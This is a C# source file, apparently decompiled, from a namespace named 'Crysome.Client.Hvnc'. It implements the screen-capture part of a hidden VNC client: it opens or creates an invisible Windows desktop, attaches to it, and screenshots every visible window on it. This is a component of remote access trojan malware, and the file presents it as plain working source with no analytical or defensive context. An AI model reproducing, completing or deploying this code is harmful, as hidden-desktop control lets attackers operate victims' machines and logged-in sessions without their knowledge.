using System; using System.Drawing; using System.Drawing.Imaging; using System.Runtime.InteropServices; namespace Crysome.Client.Hvnc; internal sealed class HvncImagingHandler : IDisposable { private struct RECT { public int Left; public int Top; public int Right; public int Bottom; } private const uint DESKTOP_GENERIC_ALL = 511u; private const uint GW_HWNDLAST = 1u; private const uint GW_HWNDPREV = 3u; private const int VERTRES = 10; private const int DESKTOPVERTRES = 117; private const uint SRCCOPY = 13369376u; public IntPtr Desktop { get; } [DllImport("user32.dll", SetLastError = true)] private static extern IntPtr GetDC(IntPtr hWnd); [DllImport("user32.dll", SetLastError = true)] private static extern bool SetThreadDesktop(IntPtr hDesktop); [DllImport("user32.dll", SetLastError = true)] private static extern IntPtr OpenDesktop(string lpszDesktop, int dwFlags, bool fInherit, uint dwDesiredAccess); [DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)] private static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa); [DllImport("user32.dll")] private static extern IntPtr GetDesktopWindow(); [DllImport("user32.dll", SetLastError = true)] private static extern bool GetWindowRect(IntPtr hwnd, out RECT lpRect); [DllImport("user32.dll")] private static extern bool IsWindowVisible(IntPtr hWnd); [DllImport("user32.dll", SetLastError = true)] private static extern bool PrintWindow(IntPtr hwnd, IntPtr hDC, uint nFlags); [DllImport("user32.dll", SetLastError = true)] private static extern IntPtr GetWindow(IntPtr hWnd, uint uCmd); [DllImport("user32.dll")] private static extern IntPtr GetTopWindow(IntPtr hWnd); [DllImport("user32.dll")] private static extern bool ReleaseDC(IntPtr hWnd, IntPtr hDC); [DllImport("user32.dll", SetLastError = true)] private static extern IntPtr GetWindowDC(IntPtr hWnd); [DllImport("gdi32.dll")] private static extern IntPtr CreateCompatibleDC(IntPtr hdc); [DllImport("gdi32.dll")] private static extern IntPtr CreateCompatibleBitmap(IntPtr hdc, int nWidth, int nHeight); [DllImport("gdi32.dll")] private static extern IntPtr SelectObject(IntPtr hdc, IntPtr hgdiobj); [DllImport("gdi32.dll")] private static extern bool DeleteObject(IntPtr hObject); [DllImport("gdi32.dll")] private static extern bool DeleteDC(IntPtr hdc); [DllImport("gdi32.dll")] private static extern bool BitBlt(IntPtr hdcDest, int nXDest, int nYDest, int nWidth, int nHeight, IntPtr hdcSrc, int nXSrc, int nYSrc, uint dwRop); [DllImport("user32.dll", SetLastError = true)] private static extern bool CloseDesktop(IntPtr hDesktop); [DllImport("gdi32.dll")] private static extern int GetDeviceCaps(IntPtr hdc, int nIndex); public HvncImagingHandler(string desktopName) { IntPtr intPtr = OpenDesktop(desktopName, 0, fInherit: true, 511u); if (intPtr == IntPtr.Zero) { intPtr = CreateDesktop(desktopName, IntPtr.Zero, IntPtr.Zero, 0, 511u, IntPtr.Zero); } Desktop = intPtr; } private static float GetScalingFactor() { using Graphics graphics = Graphics.FromHwnd(IntPtr.Zero); IntPtr hdc = graphics.GetHdc(); int deviceCaps = GetDeviceCaps(hdc, 10); int deviceCaps2 = GetDeviceCaps(hdc, 117); graphics.ReleaseHdc(hdc); return (deviceCaps > 0) ? ((float)deviceCaps2 / (float)deviceCaps) : 1f; } private static bool IsMostlyBlack(Bitmap bmp) { if (bmp == null || bmp.Width == 0 || bmp.Height == 0) { return true; } int num = Math.Max(1, bmp.Width / 20); int num2 = Math.Max(1, bmp.Height / 20); int num3 = 0; int num4 = 0; BitmapData bitmapData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadOnly, PixelFormat.Format32bppArgb); try { int stride = bitmapData.Stride; IntPtr scan = bitmapData.Scan0; for (int i = 0; i < bmp.Height; i += num2) { for (int j = 0; j < bmp.Width; j += num) { int num5 = i * stride + j * 4; byte b = Marshal.ReadByte(scan, num5); byte b2 = Marshal.ReadByte(scan, num5 + 1); byte num6 = Marshal.ReadByte(scan, num5 + 2); num3++; if (num6 < 20 && b2 < 20 && b < 20) { num4++; } } } } finally { bmp.UnlockBits(bitmapData); } if (num3 > 0) { return num4 * 100 / num3 > 80; } return false; } private bool DrawWindowBitBlt(IntPtr hWnd, Graphics g, IntPtr dc, RECT r, float scale) { int num = (int)((float)(r.Right - r.Left) * scale); int num2 = (int)((float)(r.Bottom - r.Top) * scale); if (num <= 0 || num2 <= 0) { return false; } IntPtr windowDC = GetWindowDC(hWnd); if (windowDC == IntPtr.Zero) { return false; } IntPtr intPtr = CreateCompatibleDC(dc); IntPtr intPtr2 = CreateCompatibleBitmap(dc, num, num2); IntPtr hgdiobj = SelectObject(intPtr, intPtr2); bool flag = BitBlt(intPtr, 0, 0, num, num2, windowDC, 0, 0, 13369376u); SelectObject(intPtr, hgdiobj); if (flag) { try { using Bitmap image = Image.FromHbitmap(intPtr2); g.DrawImage(image, r.Left, r.Top); } catch { flag = false; } } DeleteObject(intPtr2); DeleteDC(intPtr); ReleaseDC(hWnd, windowDC); return flag; } private bool DrawWindow(IntPtr hWnd, Graphics g, IntPtr dc) { if (!GetWindowRect(hWnd, out var lpRect)) { return false; } float scalingFactor = GetScalingFactor(); int num = (int)((float)(lpRect.Right - lpRect.Left) * scalingFactor); int num2 = (int)((float)(lpRect.Bottom - lpRect.Top) * scalingFactor); if (num <= 0 || num2 <= 0) { return false; } IntPtr intPtr = CreateCompatibleDC(dc); IntPtr intPtr2 = CreateCompatibleBitmap(dc, num, num2); SelectObject(intPtr, intPtr2); if (PrintWindow(hWnd, intPtr, 2u)) { try { using Bitmap original = Image.FromHbitmap(intPtr2); using Bitmap bitmap = new Bitmap(original); if (!IsMostlyBlack(bitmap)) { g.DrawImage(bitmap, lpRect.Left, lpRect.Top); DeleteObject(intPtr2); DeleteDC(intPtr); return true; } } catch { } } DeleteObject(intPtr2); DeleteDC(intPtr); return DrawWindowBitBlt(hWnd, g, dc, lpRect, scalingFactor); } private void DrawTopDown(IntPtr owner, Graphics g, IntPtr dc) { IntPtr topWindow = GetTopWindow(owner); if (topWindow == IntPtr.Zero) { return; } topWindow = GetWindow(topWindow, 1u); while (topWindow != IntPtr.Zero) { if (IsWindowVisible(topWindow)) { DrawWindow(topWindow, g, dc); } topWindow = GetWindow(topWindow, 3u); } } public Bitmap Screenshot() { if (Desktop == IntPtr.Zero) { return null; } SetThreadDesktop(Desktop); IntPtr dC = GetDC(IntPtr.Zero); if (dC == IntPtr.Zero) { return null; } if (!GetWindowRect(GetDesktopWindow(), out var lpRect)) { ReleaseDC(IntPtr.Zero, dC); return null; } float scalingFactor = GetScalingFactor(); int num = (int)((float)lpRect.Right * scalingFactor); int num2 = (int)((float)lpRect.Bottom * scalingFactor); if (num <= 0 || num2 <= 0) { ReleaseDC(IntPtr.Zero, dC); return null; } Bitmap bitmap = new Bitmap(num, num2); using (Graphics g = Graphics.FromImage(bitmap)) { DrawTopDown(IntPtr.Zero, g, dC); } ReleaseDC(IntPtr.Zero, dC); return bitmap; } public void Dispose() { if (Desktop != IntPtr.Zero) { CloseDesktop(Desktop); } } }